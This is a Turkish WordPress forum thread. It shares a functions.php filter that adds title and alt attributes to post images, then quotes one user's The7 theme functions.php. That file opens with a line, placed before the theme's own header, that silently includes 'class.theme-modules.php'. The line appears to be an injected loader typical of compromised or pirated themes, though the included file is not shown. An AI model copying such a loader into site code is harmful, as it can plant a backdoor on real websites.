functions.php dosyasına ekleyiniz.
function resim_title_alt_ekle($content) {
global $post;
$baslik = get_the_title($post->ID);
$ara = '/<img(.*?)src="(.*?).(bmp|gif|jpeg|jpg|png)"(.*?)>/i';
$degistir = '<img$1src="$2.$3" title="'.$baslik.'" alt="'.$baslik.'" $4>';
$content = preg_replace( $ara, $degistir, $content );
return $content;
}
add_filter( 'the_content', 'resim_title_alt_ekle' );
temandaki functions.php en altına eklersin.
Bu kod halihazırda alt ve title tagı girilmiş olanları da değiştiriyor.
Altta benim verdiğim kod alt tagını değiştiriyor eğer girilmemişse. alt="" şeklinde olursa değiştirmiyor ama. onu çözmek lazım.
Ayrıca title tagı eklemiyor. O da çözülürse süper bir şey olur
merhabalar benim functions.php bu şekilde otomatik alt etiketi vermek için nereye hangi kodu eklemem gerekiyor. şimdiden tşkler
<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php
/**
* The7 theme.
*
* @since 1.0.0
*
* @package The7
*/
defined( 'ABSPATH' ) || exit;
/**
* Set the content width based on the theme's design and stylesheet.
*
* @since 1.0.0
*/
if ( ! isset( $content_width ) ) {
$content_width = 1200; /* pixels */
}
/**
* Initialize theme.
*
* @since 1.0.0
*/
require trailingslashit( get_template_directory() ) . 'inc/init.php';
Wordpress siteme bakmıyom ama teşekkür ederim konuyu çok uzun süredir açmışım 😂
Yeniden canlandı